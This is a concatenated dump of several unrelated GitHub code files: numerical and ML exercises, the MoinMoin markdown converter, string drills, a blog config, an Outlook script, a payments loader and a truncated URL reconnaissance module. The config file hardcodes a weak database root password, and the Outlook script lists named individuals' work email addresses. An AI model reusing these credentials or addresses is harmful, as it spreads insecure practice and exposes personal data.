np.array([False]).reshape((1,1))\n else:\n tests = np.hstack([tests, ~base])\n #If node is in graph, we can\n else:\n if tests is None:\n tests = np.array([False,True]).reshape((2,1))\n else:\n tests = np.vstack([np.hstack([tests,~base]), np.hstack([tests,base])])\n \n #Only keep valid tests\n tests = tests[tests.sum(axis=1) <= L]\n \n #return valid tests (assume will test all we can)\n return tests[tests.sum(axis=1) == L] \n\ndef getKey(Q, y, h, checkDone):\n return str(Q)+'-'+str(y)+'-'+str(h)\n \ndef computeQ(test, Q, y, h, R, p, q, L, A, V_saved, A_saved, M):\n '''\n Helper function to compute q value for different testing procedures\n '''\n \n #Compute new y and possible new Q's and their probability\n y_n = computeTransY(y, R, p)\n Q_s, Q_pr = computeTransQ(Q, y, test, q)\n \n #initialize constants\n val = 0\n self_prob = 0\n \n for Q_n in zip(Q_s, Q_pr):\n \n #Add recursion term to bellman operator\n val += Q_n[1]*V(Q_n[0],\n np.floor(y_n*M).astype(np.int32),\n h - 1,\n checkDone(computeR(Q_n[0], y_n, A), y_n, Q_n[0]),\n p, q, L, A,\n V_saved,\n A_saved,\n M)\n \n return val\n\ndef computeR(Q,y,A):\n '''\n Helper function to compute how many infected people a healthy person is connected to\n '''\n\n R = np.zeros(len(Q))\n #Do matrix multiplication of DIAG(Q)*A*DIAG(Q)*Y\n R[Q.astype(np.bool)] = np.matmul(A[Q.astype(np.bool),:][:,Q.astype(np.bool)],y[Q.astype(np.bool)])\n \n return R\n\ndef checkDone(R,y,Q, thresh = 0):\n '''\n Helper function to check whether or not an epidemic is over\n '''\n #Epidemic is over if no healthy people are connected to someone sick\n #Or there's nobody health left on the graph\n return max(R) <= thresh or max(1-y[Q.astype(np.bool)]) <= thresh\n\ndef computeTransY(y, R, p):\n '''\n Function to compute possible Y vectors (whether or not points are infected) \n and their relative transition probabilities\n '''\n return np.clip(y + (1-y)*(1 - (1-p)**R),0,1)\n\ndef computeTransQ(Q, y, tests, q, thresh = 0):\n '''\n Function to compute possible Q vectors (whether or not points are included graph) \n and their relative transition probabilities\n '''\n \n arr = None\n pr = None\n p0 = q*y\n p0[tests] = y[tests]\n \n thresh = thresh\n \n #Iteratively build up new q, and their associated prob\n #Warning: Exponential in n :(\n #Can make it exponential in n - n_inf but not sure how much that'll really help\n for i in range(len(Q)):\n if arr is not None:\n base = np.ones(arr.shape[0]).reshape((arr.shape[0],1))\n\n if Q[i] == 0:\n if arr is None:\n arr = np.array([0]).reshape((1,1))\n pr = np.array([1])\n else:\n arr = np.hstack([arr, base*0])\n else:\n if arr is None:\n arr = np.array([0,1]).reshape((2,1))\n pr = np.array([p0[i], (1- p0[i])])\n else:\n arr = np.vstack([np.hstack([arr,base*0]), np.hstack([arr,base])])\n pr = np.concatenate([pr*p0[i], pr*(1-p0[i])])\n \n arr = arr[pr > thresh,:]\n pr = pr[pr > thresh]\n return arr, pr\n","repo_name":"conlaw/OptimalDiseaseTesting","sub_path":"optimal_policy.py","file_name":"optimal_policy.py","file_ext":"py","file_size_in_byte":5029,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"3680047256","text":"import numpy as np\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.layers import Dense\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import mean_squared_error,r2_score # 한 개의 sklearn.metrics에 여러개 import 하는 경우\n\nx = np.array(range(1,21))\ny = np.array([1,2,4,3,5,7,9,3,8,12,13,8,14,15,9,6,17,23,21,20])\n\nx_train, x_test, y_train, y_test = train_test_split(x,y,train_size = 0.7, random_state=123)\n \nmodel = Sequential()\nmodel.add(Dense(10, input_dim=1)) \nmodel.add(Dense(10))\nmodel.add(Dense(10))\nmodel.add(Dense(1)) \n\nmodel.compile(loss='mse', optimizer='adam', \n metrics=['mae']) \nmodel.fit(x_train, y_train, epochs=100, batch_size=1)\n\nloss = model.evaluate(x_test,y_test)\nprint('loss : ', loss)\n\ny_predict = model.predict(x_test)\nprint(\"====================\")\nprint(y_test)\nprint(y_predict)\nprint(\"====================\")\n\n\n# def - 정의할 때 사용\ndef RMSE(y_test, y_predict):\n return np.sqrt(mean_squared_error(y_test, y_predict)) #->mean_squared_error(y_test, y_predict) = 'mae\", sqrt=> 루트\n\nprint(\"RMSE : \", RMSE(y_test,y_predict))\n \nr2= r2_score(y_test,y_predict)\nprint(\"R2 : \", r2)\n","repo_name":"sunghunaaa/AI_study","sub_path":"class/practice/r2.py","file_name":"r2.py","file_ext":"py","file_size_in_byte":1284,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"42120485649","text":"import re\nfrom html.entities import name2codepoint\nfrom collections import deque\n\nfrom moin.utils.tree import moin_page, xml, html, xlink, xinclude\nfrom ._util import decode_data\nfrom moin.utils.iri import Iri\nfrom moin.converters.html_in import Converter as HTML_IN_Converter\n\nfrom emeraldtree import ElementTree as ET\ntry:\n from flask import g as flaskg\nexcept ImportError:\n # in case converters become an independent package\n flaskg = None\n\nfrom markdown import Markdown\nimport markdown.util as md_util\nfrom markdown.extensions.extra import ExtraExtension\nfrom markdown.extensions.codehilite import CodeHiliteExtension\n\nfrom . import default_registry\nfrom moin.utils.mime import Type, type_moin_document\n\nfrom moin import log\nlogging = log.getLogger(__name__)\n\nhtml_in_converter = HTML_IN_Converter()\nblock_elements = 'p h blockcode ol ul pre address blockquote dl div fieldset form hr noscript table'.split()\nBLOCK_ELEMENTS = {moin_page(x) for x in block_elements}\n\n\ndef postproc_text(markdown, text):\n \"\"\"\n Removes HTML or XML character references and entities from a text string.\n\n :param text: The HTML (or XML) source text.\n :returns: The plain text, as a Unicode string, if necessary.\n \"\"\"\n\n # http://effbot.org/zone/re-sub.htm#unescape-html\n\n if text is None:\n return None\n\n if text == '[TOC]':\n return moin_page.table_of_content(attrib={})\n\n for pp in markdown.postprocessors:\n text = pp.run(text)\n\n if text.startswith('
') or text.startswith('
'):\n        return text\n\n    def fixup(m):\n        text = m.group(0)\n        if text[:2] == \"&#\":\n            # character reference\n            try:\n                if text[:3] == \"&#x\":\n                    return chr(int(text[3:-1], 16))\n                else:\n                    return chr(int(text[2:-1]))\n            except ValueError:\n                pass\n        else:\n            # named entity\n            try:\n                text = chr(name2codepoint[text[1:-1]])\n            except KeyError:\n                pass\n        return text  # leave as is\n\n    return re.sub(r\"&#?\\w+;\", fixup, text)\n\n\nclass Converter:\n    # {{{ html conversion\n\n    # HTML tags which can be converted directly to the moin_page namespace\n    symmetric_tags = {'div', 'p', 'strong', 'code', 'quote', 'blockquote'}\n\n    # HTML tags to define a list, except dl which is a little bit different\n    list_tags = {'ul', 'ol'}\n\n    # HTML tags which can be convert without attributes in a different DOM tag\n    simple_tags = {  # Emphasis\n        'em': moin_page.emphasis,\n        'i': moin_page.emphasis,\n        # Strong\n        'b': moin_page.strong,\n        'strong': moin_page.strong,\n        # Code and Blockcode\n        'pre': moin_page.blockcode,\n        'tt': moin_page.code,\n        'samp': moin_page.code,\n        # Lists\n        'dl': moin_page.list_item,\n        'dt': moin_page.list_item_label,\n        'dd': moin_page.list_item_body,\n        # Table - th and td require special processing for alignment of cell contents\n        'table': moin_page.table,\n        'thead': moin_page.table_header,\n        'tbody': moin_page.table_body,\n        'tr': moin_page.table_row,\n    }\n\n    # HTML Tag which does not have equivalence in the DOM Tree\n    # But we keep the information using \n    inline_tags = {'abbr', 'acronym', 'address', 'dfn', 'kbd'}\n\n    # HTML tags which are completely ignored by our converter.\n    # We even do not process children of these elements.\n    ignored_tags = {'applet', 'area', 'button', 'caption', 'center', 'fieldset',\n                    'form', 'frame', 'frameset', 'head', 'iframe', 'input', 'isindex',\n                    'label', 'legend', 'link', 'map', 'menu', 'noframes', 'noscript',\n                    'optgroup', 'option', 'param', 'script', 'select', 'style',\n                    'textarea', 'title', 'var',\n                    }\n\n    # standard_attributes are html attributes which are used\n    # directly in the DOM tree, without any conversion\n    standard_attributes = {'title', 'class', 'style'}\n\n    # Regular expression to detect an html heading tag\n    heading_re = re.compile('h[1-6]')\n\n    def new(self, tag, attrib, children):\n        \"\"\"\n        Return a new element for the DOM Tree\n        \"\"\"\n        return ET.Element(tag, attrib=attrib, children=children)\n\n    def new_copy(self, tag, element, attrib):\n        \"\"\"\n        Function to copy one element to the DOM Tree.\n\n        It first converts the child of the element,\n        and the element itself.\n        \"\"\"\n        attrib_new = self.convert_attributes(element)\n        attrib.update(attrib_new)\n        children = self.do_children(element)\n        return self.new(tag, attrib, children)\n\n    def new_copy_symmetric(self, element, attrib):\n        \"\"\"\n        Create a new QName, with the same tag of the element,\n        but with a different namespace.\n\n        Then, we handle the copy normally.\n        \"\"\"\n        tag = ET.QName(element.tag, moin_page)\n        return self.new_copy(tag, element, attrib)\n\n    def convert_attributes(self, element):\n        result = {}\n        for key, value in element.attrib.items():\n            if key in self.standard_attributes:\n                result[moin_page(key)] = value\n            if key == 'id':\n                result[xml('id')] = value\n        return result\n\n    def visit_heading(self, element):\n        \"\"\"\n        Function to convert an heading tag into a proper\n        element in our moin_page namespace\n        \"\"\"\n        heading_level = element.tag[1]\n        key = moin_page('outline-level')\n        attrib = {}\n        attrib[key] = heading_level\n        return self.new_copy(moin_page.h, element, attrib)\n\n    def visit_br(self, element):\n        return moin_page.line_break()\n\n    def visit_big(self, element):\n        key = moin_page('font-size')\n        attrib = {}\n        attrib[key] = '120%'\n        return self.new_copy(moin_page.span, element, attrib)\n\n    def visit_small(self, element):\n        key = moin_page('font-size')\n        attrib = {}\n        attrib[key] = '85%'\n        return self.new_copy(moin_page.span, element, attrib)\n\n    def visit_sub(self, element):\n        key = moin_page('baseline-shift')\n        attrib = {}\n        attrib[key] = 'sub'\n        return self.new_copy(moin_page.span, element, attrib)\n\n    def visit_sup(self, element):\n        key = moin_page('baseline-shift')\n        attrib = {}\n        attrib[key] = 'super'\n        return self.new_copy(moin_page.span, element, attrib)\n\n    def visit_u(self, element):\n        key = moin_page('text-decoration')\n        attrib = {}\n        attrib[key] = 'underline'\n        return self.new_copy(moin_page.span, element, attrib)\n\n    def visit_ins(self, element):\n        key = moin_page('text-decoration')\n        attrib = {}\n        attrib[key] = 'underline'\n        return self.new_copy(moin_page.span, element, attrib)\n\n    def visit_del(self, element):\n        key = moin_page('text-decoration')\n        attrib = {}\n        attrib[key] = 'line-through'\n        return self.new_copy(moin_page.span, element, attrib)\n\n    def visit_s(self, element):\n        key = moin_page('text-decoration')\n        attrib = {}\n        attrib[key] = 'line-through'\n        return self.new_copy(moin_page.span, element, attrib)\n\n    def visit_strike(self, element):\n        key = moin_page('text-decoration')\n        attrib = {}\n        attrib[key] = 'line-through'\n        return self.new_copy(moin_page.span, element, attrib)\n\n    def visit_hr(self, element, default_class='moin-hr3'):\n        return self.new_copy(moin_page.separator, element, {moin_page.class_: default_class})\n\n    def visit_img(self, element):\n        \"\"\"\n         --> \n        \"\"\"\n        attrib = {}\n        url = Iri(element.attrib.get('src'))\n        if element.attrib.get('alt'):\n            attrib[html.alt] = element.attrib.get('alt')\n        if element.attrib.get('title'):\n            attrib[html.title_] = element.attrib.get('title')\n        if url.scheme is None:\n            # img tag\n            target = Iri(scheme='wiki.local', path=element.attrib.get(\"src\"), fragment=None)\n            attrib[xinclude.href] = target\n            new_node = xinclude.include(attrib=attrib)\n        else:\n            # object tag\n            attrib[xlink.href] = url\n            new_node = moin_page.object(attrib)\n        return new_node\n\n    def visit_object(self, element):\n        \"\"\"\n         --> \n        \"\"\"\n        key = xlink('href')\n        attrib = {}\n        if self.base_url:\n            attrib[key] = ''.join([self.base_url, element.get(html.data)])\n        else:\n            attrib[key] = element.get(html.data)\n\n        # Convert the href attribute into unicode\n        attrib[key] = str(attrib[key])\n        return moin_page.object(attrib)\n\n    def visit_inline(self, element):\n        \"\"\"\n        For some specific inline tags (defined in inline_tags)\n        We just return \n        \"\"\"\n        key = html.class_\n        attrib = {}\n        attrib[key] = ''.join(['html-', element.tag.name])\n        return self.new_copy(moin_page.span, element, attrib)\n\n    def visit_li(self, element):\n        \"\"\"\n        NB : A list item (
  • ) is like the following snippet::\n\n \n label\n Body\n \n\n For
  • element, there is no label\n \"\"\"\n list_item_body = ET.Element(moin_page.list_item_body,\n attrib={}, children=self.do_children(element))\n return ET.Element(moin_page.list_item, attrib={}, children=[list_item_body])\n\n def visit_list(self, element):\n \"\"\"\n Convert a list of item (whatever the type : ordered or unordered)\n So we have html code like::\n\n
      \n
    • Item 1
    • \n
    • Item 2
    • \n
    \n\n Which will be converted to::\n\n \n \n Item 1\n \n \n Item 2\n \n \n \"\"\"\n # We will define the appropriate attribute\n # according to the type of the list\n attrib = {}\n if element.tag == \"ul\" or element.tag == \"dir\":\n attrib[moin_page('item-label-generate')] = 'unordered'\n elif element.tag == \"ol\":\n attrib[moin_page('item-label-generate')] = 'ordered'\n\n return ET.Element(moin_page.list, attrib=attrib, children=self.do_children(element))\n\n def visit_a(self, element):\n \"\"\" element.attrib has href, element.tag is 'a', element.text has title\"\"\"\n key = xlink('href')\n attrib = {}\n if element.attrib.get('title'):\n attrib[html.title_] = element.attrib.get('title')\n href = postproc_text(self.markdown, element.attrib.get(\"href\"))\n iri = Iri(href)\n # iri has authority, fragment, path, query, scheme = none,none,path,none\n if iri.scheme is None:\n iri.scheme = 'wiki.local'\n attrib[key] = iri\n return self.new_copy(moin_page.a, element, attrib)\n\n def verify_align_style(self, attrib):\n alignment = attrib.get('style')\n if alignment and alignment in ('text-align: right;', 'text-align: center;', 'text-align: left;'):\n attrib = {moin_page.style: attrib.get('style')}\n return attrib\n return {}\n\n def visit_th(self, element):\n attrib = self.verify_align_style(element.attrib)\n return self.new_copy(moin_page.table_cell_head, element, attrib=attrib)\n\n def visit_td(self, element):\n attrib = self.verify_align_style(element.attrib)\n return self.new_copy(moin_page.table_cell, element, attrib=attrib)\n\n def visit(self, element):\n # Our element can be converted directly, just by changing the namespace\n if element.tag in self.symmetric_tags:\n return self.new_copy_symmetric(element, attrib={})\n\n # Our element is enough simple to just change the tag name\n if element.tag in self.simple_tags:\n return self.new_copy(self.simple_tags[element.tag], element, attrib={})\n\n # Our element defines a list\n if element.tag in self.list_tags:\n return self.visit_list(element)\n\n # We convert our element as a span tag with element attribute\n if element.tag in self.inline_tags:\n return self.visit_inline(element)\n\n # We have a heading tag\n if self.heading_re.match(element.tag):\n return self.visit_heading(element)\n\n # Otherwise we need a specific procedure to handle it\n method_name = 'visit_' + element.tag\n method = getattr(self, method_name, None)\n if method:\n return method(element)\n\n # We should ignore this tag\n if element.tag in self.ignored_tags:\n logging.info(\"INFO : Ignored tag : {0}\".format(element.tag))\n return\n\n logging.info(\"INFO : Unhandled tag : {0}\".format(element.tag))\n return\n\n # }}} end of html conversion\n\n def do_children(self, element, add_lineno=False):\n \"\"\"\n Incoming element is an ElementTree object or unicode,\n an EmeraldTree object or a list of unicode is returned.\n\n Markdown parser may have set text and tail attributes of ElementTree\n objects to \"\\n\" values, omit these.\n\n Add data-lineno attributes to children if requested.\n \"\"\"\n new = []\n # copy anything but '\\n'\n if hasattr(element, \"text\") and element.text is not None and element.text != '\\n':\n new.append(postproc_text(self.markdown, element.text))\n\n for child in element:\n r = self.visit(child)\n if r is None:\n r = ()\n elif not isinstance(r, (list, tuple)):\n if add_lineno and self.line_numbers:\n # the line numbers for the start of each block were counted and saved before preprocessors were run\n r.attrib[html.data_lineno] = self.line_numbers.popleft()\n r = (r, )\n new.extend(r)\n # copy anything but '\\n'\n if hasattr(child, \"tail\") and child.tail is not None and child.tail != '\\n' and child.tail:\n new.append(postproc_text(self.markdown, child.tail))\n return new\n\n def count_lines(self, text):\n \"\"\"\n Create a list of line numbers corresponding to the first line of each markdown block.\n\n The markdown parser does not provide text line numbers nor is there an easy way to\n add line numbers. As an alternative, we try to split the input text into the same blocks\n as the parser does, then calculate the starting line number of each block. The list will be\n processed by the do_children method above.\n\n This method has unresolved problems caused by splitting the text into blocks based upon\n the presence of 2 adjacent line end characters, including:\n\n * blank lines within lists create separate blocks\n * omitting a blank line after a heading combines 2 elements into one block\n * using more than one blank lines between blocks\n\n The net result is we either have too few or too many line numbers in the generated list which\n will cause the double-click-to-edit autoscroll textarea to sometimes be off by several lines.\n \"\"\"\n line_numbers = deque()\n lineno = 1\n in_blockquote = False\n blocks = text.split('\\n\\n')\n for block in blocks:\n if not block:\n # bump count because empty blocks will be discarded\n lineno += 2\n continue\n line_count = block.count('\\n')\n\n # detect and fix the problem of interspersed blank lines within blockquotes\n if block.startswith(' ') or block.startswith('\\n '):\n if in_blockquote:\n lineno += line_count + 2\n continue\n in_blockquote = True\n else:\n in_blockquote = False\n\n if block.startswith('\\n'):\n lineno += 1\n line_numbers.append(lineno)\n lineno += line_count + 2 - 1 # -1 is already in count\n else:\n line_numbers.append(lineno)\n lineno += line_count + 2\n self.line_numbers = line_numbers\n\n def embedded_markup(self, text):\n \"\"\"\n Allow embedded raw HTML markup per https://daringfireball.net/projects/markdown/syntax#html\n This replaces the functionality of RawHtmlPostprocessor in .../markdown/postprocessors.py.\n\n To prevent hackers from exploiting raw HTML, the strings of safe HTML are converted to\n tree nodes by using the html_in.py converter.\n \"\"\"\n try:\n # we enclose plain text and span tags with P-tags\n p_text = html_in_converter('

    %s

    ' % text)\n # discard page and body tags\n return p_text[0][0]\n except AssertionError:\n # malformed tags, will be escaped so user can see and fix\n return text\n\n def convert_embedded_markup(self, node):\n \"\"\"\n Recurse through tree looking for embedded or generated markup.\n\n :param node: a tree node\n \"\"\"\n for idx, child in enumerate(node):\n if isinstance(child, str):\n if '<' in child:\n node[idx] = self.embedded_markup(child) # child is immutable string, so must do node[idx]\n else:\n # do not convert markup within a
     tag\n                if not child.tag == moin_page.blockcode and not child.tag == moin_page.code:\n                    self.convert_embedded_markup(child)\n\n    def convert_invalid_p_nodes(self, node):\n        \"\"\"\n        Processing embedded HTML tags within markup or output from extensions with embedded markup can\n        result in invalid HTML output caused by 

    tags enclosing a block element.\n\n The solution is to search for these occurances and change the

    tag to a

    .\n\n :param node: a tree node\n \"\"\"\n for child in node:\n if not isinstance(child, str):\n if child.tag == moin_page.p and len(child):\n for grandchild in child:\n if not isinstance(grandchild, str) and grandchild.tag in BLOCK_ELEMENTS:\n child.tag = moin_page.div\n self.convert_invalid_p_nodes(child)\n\n def __init__(self):\n self.markdown = Markdown(extensions=[\n ExtraExtension(),\n CodeHiliteExtension(guess_lang=False),\n 'mdx_wikilink_plus',\n 'admonition',\n ],\n extension_configs={\n 'mdx_wikilink_plus': {\n 'html_class': None,\n 'image_class': None,\n 'label_case': 'none', # do not automatically CamelCase the label, keep it untouched\n }\n },\n )\n\n @classmethod\n def _factory(cls, input, output, **kw):\n return cls()\n\n def __call__(self, data, contenttype=None, arguments=None):\n \"\"\"\n Convert markdown to moin DOM.\n\n data is a pointer to an open file (ProtectedRevision object)\n contenttype is likely == 'text/x-markdown;charset=utf-8'\n arguments is not used\n\n Markdown processing takes place in five steps:\n\n 1. A bunch of \"preprocessors\" munge the input text.\n 2. BlockParser() parses the high-level structural elements of the\n pre-processed text into an ElementTree.\n 3. A bunch of \"treeprocessors\" are run against the ElementTree. One\n such treeprocessor runs InlinePatterns against the ElementTree,\n detecting inline markup.\n 4. Some post-processors are run against the ElementTree nodes containing text\n and the ElementTree is converted to an EmeraldTree.\n 5. The root of the EmeraldTree is returned.\n\n \"\"\"\n # read the data from wiki storage and convert to unicode\n text = decode_data(data, contenttype)\n\n # Normalize whitespace for consistent parsing. - copied from NormalizeWhitespace in markdown/preprocessors.py\n text = text.replace(md_util.STX, \"\").replace(md_util.ETX, \"\")\n text = text.replace(\"\\r\\n\", \"\\n\").replace(\"\\r\", \"\\n\") + \"\\n\\n\"\n text = text.expandtabs(self.markdown.tab_length)\n text = re.sub(r'(?<=\\n) +\\n', '\\n', text)\n\n # save line counts for start of each block, used later for edit autoscroll\n self.count_lines(text)\n\n # {{{ similar to parts of Markdown 3.0.0 core.py convert method\n\n # Split into lines and run the line preprocessors.\n lines = text.split(\"\\n\")\n for prep in self.markdown.preprocessors:\n lines = prep.run(lines)\n\n # Parse the high-level elements.\n root = self.markdown.parser.parseDocument(lines).getroot()\n\n # Run the tree-processors\n for treeprocessor in self.markdown.treeprocessors:\n newRoot = treeprocessor.run(root)\n if newRoot is not None:\n root = newRoot\n\n # }}} end Markdown 3.0.0 core.py convert method\n\n add_lineno = bool(flaskg and flaskg.add_lineno_attr)\n\n # run markdown post processors and convert from ElementTree to an EmeraldTree object\n converted = self.do_children(root, add_lineno=add_lineno)\n\n # convert html embedded in text strings to EmeraldTree nodes\n self.convert_embedded_markup(converted)\n # convert P-tags containing block elements to DIV-tags\n self.convert_invalid_p_nodes(converted)\n\n body = moin_page.body(children=converted)\n root = moin_page.page(children=[body])\n\n return root\n\n\ndefault_registry.register(Converter._factory, Type(\"text/x-markdown\"), type_moin_document)\ndefault_registry.register(Converter._factory, Type('x-moin/format;name=markdown'), type_moin_document)\n","repo_name":"moinwiki/moin","sub_path":"src/moin/converters/markdown_in.py","file_name":"markdown_in.py","file_ext":"py","file_size_in_byte":22448,"program_lang":"python","lang":"en","doc_type":"code","stars":262,"dataset":"github-code","pt":"19"} +{"seq_id":"29006313489","text":"# 41. Write a Python program to count repeated characters in a string.\n\nimport collections\n\nstr1 = 'thequickbrownfoxjumpsoverthelazydog'\nd = collections.defaultdict(int)\nfor i in str1:\n d[i] = d[i] + 1\n\nfor i in sorted(d, key=d.get, reverse=True):\n if d[i] > 1:\n print(f\"{i} {d[i]}\")\n\n# 42. Write a Python program to print the square and cube symbol in the area of a rectangle and volume of a cylinder.\n\narea = 1256.66\nvolume = 1254.725\ndecimal = 2\nprint(\"The area of the rectangle is {0:.{1}f}cm\\u00b2\".format(area, decimal))\ndecimal = 3\nprint(\"The volume of the cylinder is {0:.{1}f}cm\\u00b3\".format(volume, decimal))\n\n# 43. Write a Python program to print the index of the character in a string.\n\nstring = \"w3resource\"\nfor i, j in enumerate(string):\n print(f\"Current character {j} position at {i}\")\n\n# 44. Write a Python program to check whether a string contains all letters of the alphabet.\n\nimport string\n\nalphabet = set(string.ascii_lowercase)\nprint(alphabet)\ninput_string = 'The quick brown fox jumps over the lazy dog'\nprint(set(input_string.lower()) >= alphabet)\ninput_string = 'The quick brown fox jumps over the lazy cat'\nprint(set(input_string.lower()) >= alphabet)\n\n\n# 45. Write a Python program to convert a given string into a list of words.\n\nstr1 = 'the quick brown fox jumps over the lazy dog'\nprint(str1.split(\" \"))\nstr1 = 'the-quick-brown-fox-jumps-over-the-lazy-dog'\nprint(str1.split(\"-\"))\n\n# 46. Write a Python program to lowercase first n characters in a string.\n\nstr1 = \"W3RESOURCE.COM\"\nprint(str1[0:4].lower() + str1[4:])\n\n# 47. Write a Python program to swap comma and dot in a string\n\namount = \"32.054,23\"\nmaketrans = amount.maketrans\namount = amount.translate(maketrans(',.', '.,'))\nprint(amount)\n\n# 48. Write a Python program to count and display the vowels of a given text.\n\ndef display_vowel(str1):\n vowels = list('aeiouAEIOU')\n result = []\n for i in str1:\n if i in vowels:\n result.append(i)\n print(len(result))\n print(result)\n\ndisplay_vowel('w3resource')\n\n# 49. Write a Python program to split a string on the last occurrence of the delimiter.\n\nstr1 = \"w,3,r,e,s,o,u,r,c,e\"\nprint(str1.rsplit(',', 1))\nprint(str1.rsplit(',', 3))\nprint(str1.rsplit(',', 5))\n\n# 50. Write a Python program to find the first non-repeating character in given string\n\ndef first_non_repeating_character(str1):\n char_order = []\n ctr = {}\n for i in str1:\n if i in ctr:\n ctr[i] += 1\n else:\n ctr[i] = 1\n char_order.append(i)\n print(char_order)\n for i in char_order:\n if ctr[i] == 1:\n return i\n return None\n\nprint(first_non_repeating_character('abcdef'))\nprint(first_non_repeating_character('abcabcdef'))\nprint(first_non_repeating_character('aabbcc'))\n","repo_name":"bhavi133/W3resource-Python","sub_path":"String/Part-5.py","file_name":"Part-5.py","file_ext":"py","file_size_in_byte":2782,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"74251518762","text":"configs = {\n 'db': {\n 'host': '127.0.0.1',\n 'port': 3306,\n 'user': 'root',\n 'password': '123456',\n 'database': 'awesome',\n 'db': 'awesome'\n },\n 'session': {\n 'secret': 'AwEsOmE'\n },\n 'version':{\n 'v': '1'\n },\n # 默认网站信息\n \"web_meta\": {\n \"web_name\": \"Keller Zhu Blog\",\n \"app_name\": \"Python Blog\",\n \"user_image\": \"/static/images/user.svg\",\n \"logo\": \"/static/images/user.svg\",\n \"welcome_message\": \"欢迎来到我的个人博客网站\",\n \"base_url\": \"#\",\n 'version':'2'\n },\n}\n","repo_name":"Blusez/awesome-python3-webapp","sub_path":"www/config_default.py","file_name":"config_default.py","file_ext":"py","file_size_in_byte":616,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"34836097537","text":"from collections import defaultdict\nfrom datetime import date\n\nfrom promise import Promise\nfrom promise.dataloader import DataLoader\n\nfrom payments.enums import OfferStatus\nfrom payments.models import BerthSwitchOffer\n\n\nclass BerthSwichOffersForLeasesLoader(DataLoader):\n def batch_load_fn(self, lease_ids):\n offers_by_leases = defaultdict(list)\n\n for offer in (\n BerthSwitchOffer.objects.filter(lease_id__in=lease_ids)\n .order_by(\"lease__start_date\")\n .iterator()\n ):\n offers_by_leases[offer.lease_id].append(offer)\n\n return Promise.resolve(\n [offers_by_leases.get(lease_id, []) for lease_id in lease_ids]\n )\n\n\nclass OfferedBerthSwichOffersForBerthLoader(DataLoader):\n def batch_load_fn(self, berth_ids):\n\n offers_by_berths = {\n offer.berth.id: offer\n for offer in BerthSwitchOffer.objects.filter(\n berth_id__in=berth_ids,\n status=OfferStatus.OFFERED,\n due_date__gte=date.today(),\n ).order_by(\"due_date\")\n }\n\n return Promise.resolve(\n [offers_by_berths.get(berth_id, None) for berth_id in berth_ids]\n )\n","repo_name":"City-of-Helsinki/berth-reservations","sub_path":"payments/schema/loaders.py","file_name":"loaders.py","file_ext":"py","file_size_in_byte":1217,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"19"} +{"seq_id":"52186896053","text":"import win32com.client as win32,pythoncom\n# outlook = win32.Dispatch('outlook.application')\n# for accounts in outlook.Session.Accounts:\n# print('Available email accounts: %s'%(accounts))\n#\n# import getpass\n# user = getpass.getuser()\n# print(user)\n\n\npythoncom.CoInitialize()\noutlook = win32.Dispatch('outlook.application').GetNameSpace(\"MAPI\")\nusername = outlook.Accounts.Item(1).DisplayName\nprint(username.lower())\n\nproject_leads = [\"Mitali.Chopra@gds.ey.com\", \"varun.arora@gds.ey.com\",\n \"prakhar.rastogi1@gds.ey.com\"]\n\nproject_leads = [x.lower() for x in project_leads]\n\nprint(project_leads)\n\n'''from flask import Flask, render_template,redirect\nimport json\n\napp = Flask(__name__)\napp.config['SECRET_KEY'] = 'mykey'\n\n\nwith open('Access.json') as json_file:\n User= json.load(json_file)\n print(User)\n\n@app.route('/',methods=['GET', 'POST'])\ndef validate_access(Level1,Level2,Level3):\n\n project_leads = [\"Mitali.Chopra@gds.ey.com\", \"varun.arora@gds.ey.com\",\n \"prakhar.rastogi1@gds.ey.com\"]\n partners = [\"Lucy.Tang1@parthenon.ey.com\", \"rupanshu.ahuja@gds.ey.com\"]\n\n email_id = input(\"Enter Email id: \")\n if email_id in project_leads:\n Level1,Level2,Level3=True\n\n elif email_id in partners:\n Level1=True\n Level2=True\n Level3=False\n\n\n email_id = input(\"Enter Email id: \")\n\n if email_id in (project_leads and partners):\n return render_template('add_remove.html')\n else:\n return render_template('access_denied.html')\n\nif __name__ == '__main__':\n app.run(debug=True)'''\n\n\n\n\n\n","repo_name":"prak0109/KMplatform","sub_path":"find_email.py","file_name":"find_email.py","file_ext":"py","file_size_in_byte":1586,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"10236534347","text":"\"\"\"\nurl scouter\n2019/07/10\n\"\"\"\nimport traceback\nfrom urllib import parse\n\nfrom datacontract import EObjectType, IscoutTask\nfrom idownclient.clientdatafeedback.scoutdatafeedback import URL, Component\nfrom outputmanagement import OutputManagement\nfrom .scouterbase import ScouterBase, ScoutFeedBackBase\nfrom ..plugin import UrlInfo, WafDetect, WebAlyzer\n\n\nclass ScouterUrl(ScouterBase):\n \"\"\"\"\"\"\n\n TARGET_OBJ_TYPE = EObjectType.Url\n\n def __init__(self, task: IscoutTask):\n ScouterBase.__init__(self, task)\n\n def __segment_output(self, root: URL, level, url) -> URL:\n \"\"\"\n 分段输出数据,达到分段输出的标准后给新的root\n 没有达到那么就给旧的root\n :param root:\n :return:\n \"\"\"\n # 加载到max output就输出\n # 如果输出了那么就返回新的根节点\n if root._subitem_count() >= self.max_output:\n self.outputdata(root.get_outputdict(), root._suffix)\n root: URL = URL(self.task, level, url)\n return root\n\n def __output_getdata(self, root: URL, level, url: str) -> URL:\n \"\"\"\n 单个插件拿到的数据太大了,每个插件执行完成后都输出下\n :param root:\n :param level:\n :param url:\n :return:\n \"\"\"\n if root._subitem_count() > 0:\n self.outputdata(root.get_outputdict(), root._suffix)\n root: URL = URL(self.task, level, url)\n return root\n\n def __set_value(self, root: URL, data):\n \"\"\"\n 插入数据\n :param root:\n :param data:\n :return:\n \"\"\"\n if isinstance(data, Component):\n root.set_component(data)\n\n def _scoutsub(self, level, obj: ScoutFeedBackBase) -> iter:\n \"\"\"\n 名字到时候用的时候再改\n :return:\n \"\"\"\n root: URL = URL(self.task, level, obj.value)\n try:\n # 使用组件\n for cpd in self._get_component(\n root, self.task, level, obj, 